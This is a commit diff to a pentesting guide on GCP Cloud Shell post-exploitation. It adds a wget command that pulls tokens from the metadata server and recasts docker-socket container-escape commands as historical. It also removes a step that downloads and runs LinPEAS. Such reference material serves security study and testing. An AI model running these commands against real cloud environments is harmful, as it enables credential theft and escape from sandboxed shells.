Skip to content

Commit b0aba5f

Browse files
committed
f
1 parent 9eb7c3b commit b0aba5f

File tree

1 file changed

+15
-28
lines changed

1 file changed

+15
-28
lines changed

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md

Lines changed: 15 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -10,13 +10,23 @@ For more information about Cloud Shell check:
1010
../gcp-services/gcp-cloud-shell-enum.md
1111
{{#endref}}
1212

13-
### Container Escape
13+
### Obtains users token from metadata
1414

15-
Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:
15+
Just accessing the metadata server you can obtain a token to access as the currently logged on user:
16+
17+
```bash
18+
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
19+
```
20+
21+
### Container Escape / Docker use
22+
23+
> [!WARNING]
24+
> Previously the cloud shell run in a container with access to the docker socket of the host. Now Google has changed the architecture and the cloud shell container runs a "Docker in a container" setup. So even if it's possible to use docker from the cloud shell, you won't be able to escape to the host using the docker socket.
25+
> Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
1626
1727
<details>
1828

19-
<summary>Container escape commands</summary>
29+
<summary>Docker use / Old container escape commands</summary>
2030

2131
```bash
2232
sudo docker -H unix:///run/docker.sock pull alpine:latest
@@ -25,31 +35,22 @@ sudo docker -H unix:///run/docker.sock start escaper
2535
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
2636
```
2737

28-
Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
29-
3038
</details>
3139

32-
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
33-
34-
Moreover, notice that from the host you can find a service account token:
40+
Moreover, in the past it was possible to find a token for a service account used by the cloud shell VM in the metadata server:
3541

3642
<details>
3743

38-
<summary>Get service account from metadata</summary>
44+
<summary>Old service account from metadata</summary>
3945

4046
```bash
4147
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
4248
default/
4349
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
4450
```
4551

46-
</details>
47-
4852
With the following scopes:
4953

50-
<details>
51-
52-
<summary>Get service account scopes</summary>
5354

5455
```bash
5556
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -61,21 +62,7 @@ https://www.googleapis.com/auth/monitoring.write
6162

6263
</details>
6364

64-
Enumerate metadata with LinPEAS:
65-
66-
<details>
67-
68-
<summary>Enumerate metadata with LinPEAS</summary>
69-
70-
```bash
71-
cd /tmp
72-
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
73-
sh linpeas.sh -o cloud
74-
```
75-
76-
</details>
7765

78-
After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
7966

8067
### Use it as Proxy
8168

0 commit comments

Comments
 (0)